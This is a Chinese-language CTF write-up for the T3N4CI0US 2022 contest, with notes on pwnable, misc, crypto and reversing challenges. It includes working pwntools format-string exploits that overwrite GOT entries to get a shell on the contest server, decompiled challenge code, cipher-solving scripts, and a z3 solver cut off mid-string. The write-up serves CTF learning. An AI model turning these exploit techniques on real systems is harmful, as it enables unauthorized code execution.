• [T3N4CI0US 2022] 一个韩国比赛

    好多都作不出来，老外的思路就是不一样。看看有谁有结果

    1. pwnable

      1. CheckCheckCheck

        1. 题目 
          V3Y4GK0FW{EccrEsXpvtjIcdc} 后来改为 V3Y4GK0FW{EccrEs_Xpvtj_Icdc}

        2. 思路，显然题目的flag壳是T3N4CI0US,这里是+2,+11,+4的循环，不过提交总是不正确，后来他把题目加了下划线。不过这题跟frech是一样的，也不是pwn题

          1. c = 'VYGKFWEccrEsXpvtjIcdc'
          2. a = c.upper()
          3. out = ''
          4. for i in range(0, len(a), 3):
          5.     out += chr(((ord(a[i]) - ord('A') -2 )%26) + ord('A'))
          6.     out += chr(((ord(a[i+1]) - ord('A') -11 )%26) + ord('A')) 
          7.     out += chr(((ord(a[i+2]) - ord('A') -4 )%26) + ord('A'))
          8.  
          9. print(c)
          10. print(out)
          11. b = ''
          12. for i in range(len(a)):
          13.     if c[i].isupper():
          14.         b += out[i]
          15.     else:
          16.         b += out[i].lower()
          17. print(b)
          18. #T3N4CI0US{CrypToVerryEasy}
          19. #T3N4CI0US{CrypTo_Verry_Easy}

      2. prison

        1. 题目原码 
          1. int __cdecl main(int argc, const char **argv, const char **envp)
          2. {
          3.   char s[10]; // [rsp+6h] [rbp-Ah] BYREF
          4.  
          5.   puts("It's up to you when you come in, but not when you go out");
          6.   gets(s, argv);
          7.   puts(s);
          8.   return 0;
          9. }

          显然这是个溢出的题，正常情况下先溢出后写pop_rdi,got_puts,plt_puts,_start取得libc再来一次pop_rdi,bin_sh,system就行了。可这里有个问题，输入后是没有反应的，为得到反应作了无数次尝试，最后发现后边需要两个回车\n\n或者很近的两个回车\nabcd\n而当第二次循环就直接over了，后来题目显示有问题

      3. Patchcode

        1. 其实这里没有题目，nc过去以后是相shell可以直接cat home/ctf/flag，提交也显示正确并不能再提交。但不显示分数

      4. noooooob

        1. 这是个ret2system的题有printf漏洞和system函数，got表没有保护，PIE没开 
          1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
          2. {
          3.   char buf[264]; // [rsp+0h] [rbp-110h] BYREF
          4.   unsigned __int64 v4; // [rsp+108h] [rbp-8h]
          5.  
          6.   v4 = __readfsqword(0x28u);
          7.   read(0, buf, 0x100uLL);
          8.   printf(buf);
          9.   exit(0);
          10. }

          解法也简单，直接把got['exit']的值改为shell

          1. from pwn import *
          2.  
          3. #p = process('./prob')
          4. p = remote('34.64.203.138', 10002)
          5.  
          6. elf = ELF('./prob')
          7. context(arch='amd64', log_level='debug')
          8. #gdb.attach(p, "b*0x400630")
          9. #pause()
          10. payload = b"%64c%10$hn%1415c%9$hnxxx"+p64(elf.got['exit'])+ p64(elf.got['exit']+2)
          11. #payload = fmtstr_payload(7, {elf.got['exit'] : elf.sym['system']+4})
          12. p.sendline( payload )
          13. #p.recvuntil(b'xx')
          14. sleep(1)
          15. p.interactive()

      5. Trigger Master

        1. 这个跟上题一样，只是没有了system函数 
          1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
          2. {
          3.   char buf[264]; // [rsp+0h] [rbp-110h] BYREF
          4.   unsigned __int64 v4; // [rsp+108h] [rbp-8h]
          5.  
          6.   v4 = __readfsqword(0x28u);
          7.   read(0, buf, 0x100uLL);
          8.   printf(buf);
          9.   exit(0);
          10. }

          思路是先把got_exit的值改为main同时漏洞一got[printf]的值，然后再把printf改为system并发个/bin/sh但问题与上边一样没有输出，需要大输入才能挤出一部分来，也没有实现，后来几乎所有的pwn题都报后台有问题就算了

          1. from pwn import *
          2.  
          3. def conn(local=1):
          4.     global p,libc_elf,one
          5.     
          6.     if local == 1:
          7.         p = process('./prob')
          8.         libc_elf = ELF('/home/shi/libc6_2.31-0ubuntu9.9/lib/x86_64-linux-gnu/libc.so.6')
          9.         one = [0xe3afe, 0xe3b01, 0xe3b04]
          10.     else:
          11.         p = remote('34.64.203.138', 10003)
          12.         libc_elf = ELF('/home/shi/libc6_2.31-0ubuntu9.9/lib/x86_64-linux-gnu/libc.so.6')
          13.         one = [0xe3afe, 0xe3b01, 0xe3b04]
          14.  
          15. def write(where, what):
          16.     print(hex(where), hex(what))
          17.     v0 = 8
          18.     off = 16
          19.     payload = '/bin/sh;'
          20.     for i in range(8):
          21.         v1 =what&0xff
          22.         what >>=8
          23.         v2 = (v1-v0)%0x100
          24.         v0 = v1
          25.         if v2 == 0:
          26.             payload += "%"+ str(off+i)+"$hhn"
          27.         else:
          28.             payload += "%"+ str(v2) + "c%"+ str(off+i)+"$hhn"
          29.         
          30.         if what == 0:
          31.             break
          32.             
          33.     payload = (payload+ '%4000c').ljust(0x50, 'A').encode()
          34.     for i in range(8):
          35.         payload += p64(where+i)
          36.     
          37.     #payload = payload.ljust(0x100, b'A')
          38.     p.sendline(payload+ b'XXXX')
          39.  
          40.  
          41. elf = ELF('./prob')
          42. context(arch='amd64', log_level='debug')
          43. #0x400577
          44.  
          45. conn(0)
          46. p.settimeout(5.0)
          47.  
          48. #gdb.attach(p, 'b*0x4005c8')
          49. #pause()
          50.  
          51. off = 6 + (0x7a8-0x5f0)//8
          52. #sleep(2)
          53. #payload = b"%5c%11$hhn%114c%10$hhn%12$s,".ljust(0x20,b'A')+flat(elf.got['exit'],elf.got['exit']+1, elf.got['printf']) 
          54. #p.sendline( payload)
          55.  
          56. write(elf.got['exit'], elf.sym['main'])
          57. #sleep(2)
          58. sleep(5)
          59. p.recvuntil(b'XXXX')
          60. p.sendline((b'%8$s%5000c'.ljust(16, b'A')+p64(elf.got['printf'])))
          61. sleep(5)
          62. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc_elf.sym['printf']
          63. libc_elf.address = libc_base
          64. print('libc:',hex(libc_base))
          65.  
          66. system = libc_elf.sym['system']
          67.  
          68. write(elf.got['printf'], libc_base + one[2])
          69. sleep(5)
          70. p.recv()
          71. p.sendline(b'/bin/sh\x00')
          72. p.interactive()

    2. MISC

      1. find me

        1. misc题一个都没作出来，没有附后件，只有提示，感觉像脑筋急转弯 
          1. hello pls find Dolpari
          2.  
          3. flag format : T3N4CI0US{Site URL}

      2. Find us

          1. Hi, can you find us?
          2. Go into a site somewhere and look for us!

      3. Basic Number

          1. I'm going to code the file I gave you, and I'm going to code the number seven
          2. Enter the code with the print as flag
          3.  
          4. format : T3N4CI0US{print????????}

      4. Hard Number

          1. Complete this code so that the number 7 comes out
          2. Then insert the last line of the code into the flag
          3. #这个有附件是ipyb的看不懂

      5. re They

        1. 有一堆图，提示是 
          About them!

           

           

           

           

            

    3. Crypto

      1. french

        1. 跟pwn那是一个题 
          1. French Ciper
          2.  
          3. V3Y4GK0FW{EccrEs_Xpvtj_Icdc}

      2. Before Porta arrives at the port!

        1. 摩尔斯码，key应该是给上一题的，French Cipher应该就是维吉尼亚密码，上题用这个key就能解 
          1. Before Porta arrives at the port! Decryption is required to interpret this..
          2.  
          3. ...-- -. ....- -.-. .. ----- ..- ... # --- .--- .- -.. .-.. -.. ..--.- ..- ..--.- .--. -.-- .--. ..--.- ...- ..--.- . ..-. --. --.. -..- --.. -..- #
          4. key = cle

          解出来不对

          1. T3N4CI0US{OJADLD_U_PYP_V_EFGZXZX}
          2. T3N4CI0US{MYWBAZ_S_EUN_K_ADVVVOT}

      3. ed

          1. What is this?
          2.  
          3. HcBBCkAREAbgq/xuoFjZWtnY4AAyQ0oplnp3n3pfX3VgXjhkE60PuqRH3DbxUb9PAA==

      4. re

          1. Find the alphabet and number to fit in ().
          3. ╭──────────╮
          4.   I H M () L A T P      
          5. ╰──────────╯
          6. I = 7
          7. H = 6
          8. M = 7
          9. () = ()
          10. L = 15
          11. A = 15
          12. T = 38
          13. P = 16
          14.  
          15. T3N4CI0US{Alphabet_Number}

      5. ro

          1.    [ W E = 360 ]
          2.    [ S N S = 360 ]
          3.    [ N E W S = ? ]

      6. Shuuuung

          1. Can you find this password and escape?
          2. Find the password that means these.
          3.  
          4. JEW LEE ETT, CHAR LEE, PAH PAH
          5.  
          6. Replace spaces with _

      7. one

          1. 26s + 8t = 2( == gcd(26,8))
          2. + 12345 for the correct answer

    4. Reversing

      1. Warmup

        1. 这个程序肯定是看不懂的，非常非常复杂，但原码里有flag 
          T3N4CI0US{773a_6d8c_c01fbc_f454646564_2_049eb4_3c2ad_852}

      2. Rooftop

        1. 先md5再逆序再hex，看似简单，但md5这块逆不了 
          1. int __cdecl main(int argc, const char **argv, const char **envp)
          2. {
          3.   char s2[8]; // [rsp+10h] [rbp-30h] BYREF
          4.   __int64 v5; // [rsp+18h] [rbp-28h]
          5.   __int64 v6; // [rsp+20h] [rbp-20h]
          6.   __int64 v7; // [rsp+28h] [rbp-18h]
          7.   char v8; // [rsp+30h] [rbp-10h]
          8.  
          9.   if ( argc > 1 )
          10.   {
          11.     *(_QWORD *)s2 = 0LL;
          12.     v5 = 0LL;
          13.     v6 = 0LL;
          14.     v7 = 0LL;
          15.     v8 = 0;
          16.     emmdee5(argv[1], (__int64)s2);
          17.     printf("%s", s2);
          18.     if ( !strcmp("55347092ad1b19f9021174038078e57a", s2) )
          19.       printf("Flag: T3N4CI0US{%s}\n", argv[1]);
          20.     else
          21.       puts("Sorry..");
          22.     return 0;
          23.   }
          24.   else
          25.   {
          26.     printf("Flag: %s \n", *argv);
          27.     return 1;
          28.   }
          29. }
          30. int __fastcall emmdee5(const char *a1, __int64 a2)
          31. {
          32.   __int64 v2; // rax
          33.   int result; // eax
          34.   __int64 v4[3]; // [rsp+10h] [rbp-20h] BYREF
          35.   int i; // [rsp+2Ch] [rbp-4h]
          36.  
          37.   v4[0] = 0LL;
          38.   v4[1] = 0LL;
          39.   v2 = strlen(a1);
          40.   MD5((__int64)a1, v2, (__int64)v4);
          41.   result = esrever((const char *)v4);           // 逆序
          42.   for ( i = 0; i <= 15; ++i )
          43.     result = sprintf((char *)(a2 + 2 * i), "%02x", *((unsigned __int8 *)v4 + i));
          44.   return result;
          45. }

      3. WHISEN

        1. 把flag的字符重新排了个序 
          1. int __cdecl main(int argc, const char **argv, const char **envp)
          2. {
          3.   char s1[40]; // [rsp+0h] [rbp-50h] BYREF
          4.   char *s2; // [rsp+28h] [rbp-28h]
          5.   char v6[26]; // [rsp+36h] [rbp-1Ah] BYREF
          6.  
          7.   qmemcpy(v6, "}40_0hIfUrC{S_4rrc0NT03k3T", sizeof(v6));
          8.   s2 = (char *)malloc(0x1AuLL);
          9.   printf("Enter the Password : ");
          10.   __isoc99_scanf("%s", s2);
          11.   s1[0] = v6[25];
          12.   s1[1] = v6[22];
          13.   s1[2] = v6[19];
          14.   s1[3] = v6[14];
          15.   s1[4] = v6[10];
          16.   s1[5] = v6[6];
          17.   s1[6] = v6[4];
          18.   s1[7] = v6[8];
          19.   s1[8] = v6[12];
          20.   s1[9] = v6[11];
          21.   s1[10] = v6[16];
          22.   s1[11] = v6[18];
          23.   s1[12] = v6[21];
          24.   s1[13] = v6[20];
          25.   s1[14] = v6[3];
          26.   s1[15] = v6[7];
          27.   s1[16] = v6[2];
          28.   s1[17] = v6[15];
          29.   s1[18] = v6[13];
          30.   s1[19] = v6[5];
          31.   s1[20] = v6[14];
          32.   s1[21] = v6[17];
          33.   s1[22] = v6[23];
          34.   s1[23] = v6[24];
          35.   s1[24] = v6[9];
          36.   if ( !strncmp(s1, s2, 0x1AuLL) )
          37.     printf("Success! You found the flag!\n%s\n", s1);
          38.   else
          39.     puts("Incorrect Password !");
          40.   return 0;
          41. }

          结果这个提交正确了

          1. v6 = "}40_0hIfUrC{S_4rrc0NT03k3T"
          2. s1 = [0]*25
          3.  
          4. s1[0] = v6[25]
          5. s1[1] = v6[22]
          6. s1[2] = v6[19]
          7. s1[3] = v6[14]
          8. s1[4] = v6[10]
          9. s1[5] = v6[6]
          10. s1[6] = v6[4]
          11. s1[7] = v6[8]
          12. s1[8] = v6[12]
          13. s1[9] = v6[11]
          14. s1[10] = v6[16]
          15. s1[11] = v6[18]
          16. s1[12] = v6[21]
          17. s1[13] = v6[20]
          18. s1[14] = v6[3]
          19. s1[15] = v6[7]
          20. s1[16] = v6[2]
          21. s1[17] = v6[15]
          22. s1[18] = v6[13]
          23. s1[19] = v6[5]
          24. s1[20] = v6[14]
          25. s1[21] = v6[17]
          26. s1[22] = v6[23]
          27. s1[23] = v6[24]
          28. s1[24] = v6[9]
          29.  
          30. print(s1)
          31. print(''.join(s1))
          32.  
          33. #T3N4CI0US{r00T_f0r_h4ck3r}

      4. TLS

        1. 我感觉这是唯一有点难度的题32位，UPX壳，z3一把梭，但提交不正确不知道哪错了 
          1.   fgets(Buffer, 256, Stream);
          2.   v6 = ftell(Stream);
          3.   fclose(Stream);
          4.   if ( v6 == 19 )
          5.   {
          6.     v8[0] = (Buffer[11] * Buffer[11] - Buffer[11]) ^ (Buffer[0]
          7.                                                     + Buffer[18] * Buffer[12] * Buffer[17]
          8.                                                     + Buffer[5]
          9.                                                     + Buffer[0] * Buffer[16]
          10.                                                     - Buffer[14] * Buffer[1]) ^ 0x59;
          11.     v8[1] = (Buffer[1] + Buffer[7] * Buffer[0] - Buffer[18] * Buffer[0] - Buffer[5]) ^ (Buffer[12]
          12.                                                                                       + Buffer[4] * Buffer[2]) ^ (Buffer[1] - Buffer[10] * Buffer[3]) ^ 0x7B;
          13.     v8[2] = Buffer[11] ^ Buffer[8] ^ (Buffer[1] * Buffer[15]
          14.                                     + Buffer[3] * Buffer[17]
          15.                                     - Buffer[14]
          16.                                     - Buffer[5]
          17.                                     - Buffer[1]
          18.                                     - Buffer[6]) ^ Buffer[3] ^ 0xC0;
          19.     v8[3] = Buffer[9] ^ Buffer[5] ^ (Buffer[8] + Buffer[3] + Buffer[4] + Buffer[18] - Buffer[4] * Buffer[6]) ^ Buffer[15] ^ 0xAD;
          20.     v8[4] = Buffer[12] ^ (Buffer[18] * Buffer[18] * Buffer[4] - Buffer[7] - Buffer[3]) ^ (Buffer[3]
          21.                                                                                         - Buffer[17]
          22.                                                                                         - Buffer[1]) ^ (Buffer[5] + Buffer[7] * Buffer[18]) ^ 0x55;
          23.     v8[5] = (Buffer[10] + Buffer[3] * Buffer[14] - Buffer[15]) ^ (Buffer[8] + Buffer[14] - Buffer[11]) ^ Buffer[3] ^ 0x9C;
          24.     v8[6] = Buffer[6] ^ Buffer[3] ^ Buffer[9] ^ (Buffer[2] * Buffer[5] * Buffer[17]
          25.                                                + Buffer[11]
          26.                                                + Buffer[17]
          27.                                                - Buffer[15]
          28.                                                - Buffer[5]
          29.                                                - Buffer[7]) ^ 0x12;
          30.     v8[7] = (Buffer[8] * Buffer[9] * Buffer[17]) ^ (Buffer[5] * Buffer[2] * Buffer[16] - Buffer[5] - Buffer[7]) ^ Buffer[16] ^ 0x34;
          31.     v8[8] = Buffer[4] ^ Buffer[7] ^ Buffer[6] ^ (Buffer[16] * Buffer[4] - Buffer[7] * Buffer[15]) ^ (Buffer[1] * Buffer[10] * Buffer[1] * Buffer[17]) ^ Buffer[10] ^ 0x53;
          32.     v8[9] = (Buffer[12] * Buffer[3]) ^ (Buffer[5] * Buffer[9]
          33.                                       + Buffer[13]
          34.                                       + Buffer[2]
          35.                                       + Buffer[15] * Buffer[9]
          36.                                       - Buffer[1]
          37.                                       - Buffer[14] * Buffer[3]) ^ 0x50;
          38.     v8[10] = (Buffer[5] * Buffer[7]) ^ Buffer[11] ^ (Buffer[12] - Buffer[15]) ^ (Buffer[0] + Buffer[9]) ^ (Buffer[7] - Buffer[1] * Buffer[3]) ^ 0x13;
          39.     v8[11] = (Buffer[10] + Buffer[2] * Buffer[17]) ^ (Buffer[16]
          40.                                                     + Buffer[15] * Buffer[6]
          41.                                                     + Buffer[11]
          42.                                                     + Buffer[9]
          43.                                                     - Buffer[4]) ^ Buffer[5] ^ 0x62;
          44.     v8[12] = (Buffer[6] + Buffer[7] - Buffer[5] - Buffer[9] - Buffer[5] * Buffer[12]) ^ Buffer[16] ^ (Buffer[8] * Buffer[14]) ^ 0x9B;
          45.     v8[13] = Buffer[0] ^ (Buffer[16] + Buffer[9] + Buffer[5] * Buffer[17] - Buffer[0]) ^ (Buffer[18]
          46.                                                                                         + Buffer[6]
          47.                                                                                         + Buffer[16]) ^ 0x85;
          48.     v8[14] = Buffer[3] ^ (Buffer[11] + Buffer[6]) ^ (Buffer[2] * Buffer[14] * Buffer[0]) ^ Buffer[7] ^ (Buffer[15] - Buffer[2]) ^ 0x73;
          49.     v8[15] = (Buffer[2] * Buffer[18] + Buffer[10]) ^ (Buffer[5]
          50.                                                     + Buffer[14] * Buffer[16]
          51.                                                     - Buffer[8]
          52.                                                     - Buffer[6]
          53.                                                     - Buffer[17]) ^ (Buffer[0] * Buffer[7] + Buffer[9]) ^ 0x3D;
          54.     v8[16] = (Buffer[14] + Buffer[7] - Buffer[8] - Buffer[6] - Buffer[8]) ^ Buffer[2] ^ Buffer[16] ^ 0xD0;
          55.     v8[17] = (Buffer[0] * Buffer[17] * Buffer[3] * Buffer[2]) ^ (Buffer[13] - Buffer[8] - Buffer[10] * Buffer[5]) ^ (Buffer[12] + Buffer[0]) ^ (Buffer[11] + Buffer[10]) ^ 0xF2;
          56.     v8[18] = (Buffer[5] * Buffer[15] * Buffer[8] + Buffer[7] * Buffer[8] + Buffer[15] - Buffer[1] - Buffer[12]) ^ 0x92;
          57.     v8[19] = (Buffer[6] * Buffer[0]) ^ (Buffer[12] * Buffer[14]
          58.                                       + Buffer[11]
          59.                                       + Buffer[1]
          60.                                       - Buffer[9] * Buffer[16]
          61.                                       - Buffer[18]
          62.                                       - Buffer[9]) ^ 0x43;
          63.     v8[20] = (Buffer[0] + Buffer[11]) ^ (Buffer[17] + Buffer[8] * Buffer[3] - Buffer[7]) ^ (Buffer[7]
          64.                                                                                           + Buffer[7] * Buffer[16]
          65.                                                                                           + Buffer[0]
          66.                                                                                           - Buffer[10]) ^ 0x18;
          67.     v8[21] = Buffer[9] ^ (Buffer[9] + Buffer[8] * Buffer[9] - Buffer[17]) ^ (Buffer[2]
          68.                                                                            * Buffer[4]
          69.                                                                            * Buffer[1]
          70.                                                                            * Buffer[15]
          71.                                                                            * Buffer[17]
          72.                                                                            * Buffer[5]) ^ 0x26;
          73.     v8[22] = Buffer[8] ^ (Buffer[5] * Buffer[15] - Buffer[11] * Buffer[17] * Buffer[2]) ^ Buffer[18] ^ 0x9B;
          74.     v8[23] = (Buffer[1] * Buffer[17] * Buffer[4]) ^ (Buffer[5] + Buffer[11] * Buffer[11]) ^ (Buffer[2] - Buffer[7]) ^ (Buffer[14] * Buffer[9]) ^ Buffer[11] ^ 0x38;
          75.     v8[24] = (Buffer[4] * Buffer[11] * Buffer[12] - Buffer[1]) ^ (Buffer[14] * Buffer[5]) ^ Buffer[14] ^ Buffer[12] ^ 0x7F;
          76.     v8[25] = Buffer[10] ^ (Buffer[10] - Buffer[16]) ^ (Buffer[9] * Buffer[15]) ^ 0x40;
          77.     v8[26] = (Buffer[12] * Buffer[8]) ^ (Buffer[13] * Buffer[13]) ^ (Buffer[2] * Buffer[1] - Buffer[11]) ^ (Buffer[3] + Buffer[10]) ^ 0x12;
          78.     v8[27] = (Buffer[6] * Buffer[14]) ^ Buffer[17] ^ (Buffer[18] * Buffer[2] + Buffer[4]) ^ 0x7E;
          79.     v8[28] = (Buffer[10] + Buffer[16]) ^ (Buffer[8] * Buffer[11] + Buffer[15]) ^ Buffer[13] ^ (Buffer[4] * Buffer[15]
          80.                                                                                              - Buffer[8]) ^ 0x7F;
          81.     v8[29] = (Buffer[1] + Buffer[10]) ^ (Buffer[6]
          82.                                        + Buffer[6]
          83.                                        + Buffer[4]
          84.                                        + Buffer[0]
          85.                                        + Buffer[12]
          86.                                        + Buffer[7] * Buffer[5]
          87.                                        - Buffer[2]) ^ 0xDF;
          88.     v8[30] = (Buffer[9] * Buffer[0] * Buffer[5] * Buffer[1] - Buffer[1]) ^ Buffer[14] ^ (Buffer[9]
          89.                                                                                        + Buffer[6]
          90.                                                                                        - Buffer[4]) ^ 0xF4;
          91.     v8[31] = (Buffer[5] * Buffer[0] * Buffer[4] + Buffer[7]) ^ (Buffer[5] * Buffer[6] * Buffer[7]) ^ Buffer[11] ^ Buffer[9] ^ 0x53;
          92.     v8[32] = (Buffer[12] - Buffer[9]) ^ (Buffer[10] - Buffer[1]) ^ Buffer[2] ^ 0x50;
          93.     v8[33] = (Buffer[8] - Buffer[10]) ^ (Buffer[7] + Buffer[3] - Buffer[0]) ^ (Buffer[13] * Buffer[0] * Buffer[18]
          94.                                                                              - Buffer[15]) ^ 0xE3;
          95.     v8[34] = (Buffer[3] + Buffer[1] - Buffer[15] - Buffer[2] - Buffer[0]) ^ (Buffer[5] - Buffer[4]) ^ Buffer[10] ^ 0xCF;
          96.     v8[35] = (Buffer[10] * Buffer[8] * Buffer[6] * Buffer[11] * Buffer[11] * Buffer[1]) ^ (Buffer[13] * Buffer[18]
          97.                                                                                          + Buffer[5]) ^ 0x98;
          98.     Text[0] = v8[rand() % 2];
          99.     Text[2] = v8[rand() % 2 + 4];
          100.     Text[3] = v8[rand() % 2 + 6];
          101.     LOBYTE(v15) = v8[rand() % 2 + 16];
          102.     BYTE1(v14) = v8[11 - rand() % 2];
          103.     HIBYTE(v14) = v8[rand() % 2 + 14];
          104.     LOBYTE(v14) = v8[rand() % 2 + 8];
          105.     BYTE2(v14) = v8[13 - rand() % 2];
          106.     Text[1] = v8[3 - rand() % 2];
          107.     HIBYTE(v15) = 0;
          108.     Caption[0] = v8[rand() % 2 + 18];
          109.     Caption[1] = v8[rand() % 2 + 20];
          110.     Caption[2] = v8[rand() % 2 + 22];
          111.     Caption[3] = v8[rand() % 2 + 24];
          112.     LOBYTE(v11) = v8[rand() % 2 + 26];
          113.     BYTE1(v11) = v8[rand() % 2 + 28];
          114.     BYTE2(v11) = 79;
          115.     HIBYTE(v11) = v8[rand() % 2 + 32];
          116.     v12 = (unsigned __int8)v8[rand() % 2 + 34];
          117.     MessageBoxA(0, Text, Caption, 0);

          提交不正确的程序

          1.  
          2. Caption = b'T3N4CI0US'
          3. Text = b'CoNGRAtS!'
          4.  
          5. from z3 import *
          6.  
          7. Buffer = [BitVec(f'Buffer_{i}',8) for i in range(19)]
          8.  
          9. v8 = [0]*36
          10. v8[0] = (Buffer[11] * Buffer[11] - Buffer[11]) ^ (Buffer[0] + Buffer[18] * Buffer[12] * Buffer[17] + Buffer[5] + Buffer[0] * Buffer[16] - Buffer[14] * Buffer[1]) ^ 0x59;
          11. v8[1] = (Buffer[1] + Buffer[7] * Buffer[0] - Buffer[18] * Buffer[0] - Buffer[5]) ^ (Buffer[12] + Buffer[4] * Buffer[2]) ^ (Buffer[1] - Buffer[10] * Buffer[3]) ^ 0x7B;
          12. v8[2] = Buffer[11] ^ Buffer[8] ^ (Buffer[1] * Buffer[15] + Buffer[3] * Buffer[17] - Buffer[14] - Buffer[5] - Buffer[1] - Buffer[6]) ^ Buffer[3] ^ 0xC0;
          13. v8[3] = Buffer[9] ^ Buffer[5] ^ (Buffer[8] + Buffer[3] + Buffer[4] + Buffer[18] - Buffer[4] * Buffer[6]) ^ Buffer[15] ^ 0xAD;
          14. v8[4] = Buffer[12] ^ (Buffer[18] * Buffer[18] * Buffer[4] - Buffer[7] - Buffer[3]) ^ (Buffer[3] - Buffer[17] - Buffer[1]) ^ (Buffer[5] + Buffer[7] * Buffer[18]) ^ 0x55;
          15. v8[5] = (Buffer[10] + Buffer[3] * Buffer[14] - Buffer[15]) ^ (Buffer[8] + Buffer[14] - Buffer[11]) ^ Buffer[3] ^ 0x9C;
          16. v8[6] = Buffer[6] ^ Buffer[3] ^ Buffer[9] ^ (Buffer[2] * Buffer[5] * Buffer[17] + Buffer[11] + Buffer[17] - Buffer[15] - Buffer[5] - Buffer[7]) ^ 0x12;
          17. v8[7] = (Buffer[8] * Buffer[9] * Buffer[17]) ^ (Buffer[5] * Buffer[2] * Buffer[16] - Buffer[5] - Buffer[7]) ^ Buffer[16] ^ 0x34;
          18. v8[8] = Buffer[4] ^ Buffer[7] ^ Buffer[6] ^ (Buffer[16] * Buffer[4] - Buffer[7] * Buffer[15]) ^ (Buffer[1] * Buffer[10] * Buffer[1] * Buffer[17]) ^ Buffer[10] ^ 0x53;
          19. v8[9] = (Buffer[12] * Buffer[3]) ^ (Buffer[5] * Buffer[9] + Buffer[13] + Buffer[2] + Buffer[15] * Buffer[9] - Buffer[1] - Buffer[14] * Buffer[3]) ^ 0x50;
          20. v8[10] = (Buffer[5] * Buffer[7]) ^ Buffer[11] ^ (Buffer[12] - Buffer[15]) ^ (Buffer[0] + Buffer[9]) ^ (Buffer[7] - Buffer[1] * Buffer[3]) ^ 0x13;
          21. v8[11] = (Buffer[10] + Buffer[2] * Buffer[17]) ^ (Buffer[16] + Buffer[15] * Buffer[6] + Buffer[11] + Buffer[9] - Buffer[4]) ^ Buffer[5] ^ 0x62;
          22. v8[12] = (Buffer[6] + Buffer[7] - Buffer[5] - Buffer[9] - Buffer[5] * Buffer[12]) ^ Buffer[16] ^ (Buffer[8] * Buffer[14]) ^ 0x9B;
          23. v8[13] = Buffer[0] ^ (Buffer[16] + Buffer[9] + Buffer[5] * Buffer[17] - Buffer[0]) ^ (Buffer[18] + Buffer[6] + Buffer[16]) ^ 0x85;
          24. v8[14] = Buffer[3] ^ (Buffer[11] + Buffer[6]) ^ (Buffer[2] * Buffer[14] * Buffer[0]) ^ Buffer[7] ^ (Buffer[15] - Buffer[2]) ^ 0x73;
          25. v8[15] = (Buffer[2] * Buffer[18] + Buffer[10]) ^ (Buffer[5]  + Buffer[14] * Buffer[16] - Buffer[8] - Buffer[6] - Buffer[17]) ^ (Buffer[0] * Buffer[7] + Buffer[9]) ^ 0x3D;
          26. v8[16] = (Buffer[14] + Buffer[7] - Buffer[8] - Buffer[6] - Buffer[8]) ^ Buffer[2] ^ Buffer[16] ^ 0xD0;
          27. v8[17] = (Buffer[0] * Buffer[17] * Buffer[3] * Buffer[2]) ^ (Buffer[13] - Buffer[8] - Buffer[10] * Buffer[5]) ^ (Buffer[12] + Buffer[0]) ^ (Buffer[11] + Buffer[10]) ^ 0xF2;
          28. v8[18] = (Buffer[5] * Buffer[15] * Buffer[8] + Buffer[7] * Buffer[8] + Buffer[15] - Buffer[1] - Buffer[12]) ^ 0x92;
          29. v8[19] = (Buffer[6] * Buffer[0]) ^ (Buffer[12] * Buffer[14] + Buffer[11] + Buffer[1] - Buffer[9] * Buffer[16] - Buffer[18] - Buffer[9]) ^ 0x43;
          30. v8[20] = (Buffer[0] + Buffer[11]) ^ (Buffer[17] + Buffer[8] * Buffer[3] - Buffer[7]) ^ (Buffer[7] + Buffer[7] * Buffer[16] + Buffer[0] - Buffer[10]) ^ 0x18;
          31. v8[21] = Buffer[9] ^ (Buffer[9] + Buffer[8] * Buffer[9] - Buffer[17]) ^ (Buffer[2] * Buffer[4] * Buffer[1] * Buffer[15] * Buffer[17] * Buffer[5]) ^ 0x26;
          32. v8[22] = Buffer[8] ^ (Buffer[5] * Buffer[15] - Buffer[11] * Buffer[17] * Buffer[2]) ^ Buffer[18] ^ 0x9B;
          33. v8[23] = (Buffer[1] * Buffer[17] * Buffer[4]) ^ (Buffer[5] + Buffer[11] * Buffer[11]) ^ (Buffer[2] - Buffer[7]) ^ (Buffer[14] * Buffer[9]) ^ Buffer[11] ^ 0x38;
          34. v8[24] = (Buffer[4] * Buffer[11] * Buffer[12] - Buffer[1]) ^ (Buffer[14] * Buffer[5]) ^ Buffer[14] ^ Buffer[12] ^ 0x7F;
          35. v8[25] = Buffer[10] ^ (Buffer[10] - Buffer[16]) ^ (Buffer[9] * Buffer[15]) ^ 0x40;
          36. v8[26] = (Buffer[12] * Buffer[8]) ^ (Buffer[13] * Buffer[13]) ^ (Buffer[2] * Buffer[1] - Buffer[11]) ^ (Buffer[3] + Buffer[10]) ^ 0x12;
          37. v8[27] = (Buffer[6] * Buffer[14]) ^ Buffer[17] ^ (Buffer[18] * Buffer[2] + Buffer[4]) ^ 0x7E;
          38. v8[28] = (Buffer[10] + Buffer[16]) ^ (Buffer[8] * Buffer[11] + Buffer[15]) ^ Buffer[13] ^ (Buffer[4] * Buffer[15] - Buffer[8]) ^ 0x7F;
          39. v8[29] = (Buffer[1] + Buffer[10]) ^ (Buffer[6] + Buffer[6] + Buffer[4] + Buffer[0] + Buffer[12] + Buffer[7] * Buffer[5] - Buffer[2]) ^ 0xDF;
          40. v8[30] = (Buffer[9] * Buffer[0] * Buffer[5] * Buffer[1] - Buffer[1]) ^ Buffer[14] ^ (Buffer[9] + Buffer[6] - Buffer[4]) ^ 0xF4;
          41. v8[31] = (Buffer[5] * Buffer[0] * Buffer[4] + Buffer[7]) ^ (Buffer[5] * Buffer[6] * Buffer[7]) ^ Buffer[11] ^ Buffer[9] ^ 0x53;
          42. v8[32] = (Buffer[12] - Buffer[9]) ^ (Buffer[10] - Buffer[1]) ^ Buffer[2] ^ 0x50;
          43. v8[33] = (Buffer[8] - Buffer[10]) ^ (Buffer[7] + Buffer[3] - Buffer[0]) ^ (Buffer[13] * Buffer[0] * Buffer[18] - Buffer[15]) ^ 0xE3;
          44. v8[34] = (Buffer[3] + Buffer[1] - Buffer[15] - Buffer[2] - Buffer[0]) ^ (Buffer[5] - Buffer[4]) ^ Buffer[10] ^ 0xCF;
          45. v8[35] = (Buffer[10] * Buffer[8] * Buffer[6] * Buffer[11] * Buffer[11] * Buffer[1]) ^ (Buffer[13] * Buffer[18] + Buffer[5]) ^ 0x98;
          46.  
          47. s = Solver()
          48.  
          49. for i in range(19):
          50.     s.add(Buffer[i]>=0x20)
          51. '''
          52.     Text[0] = v8[rand() % 2];
          53.     Text[2] = v8[rand() % 2 + 4];
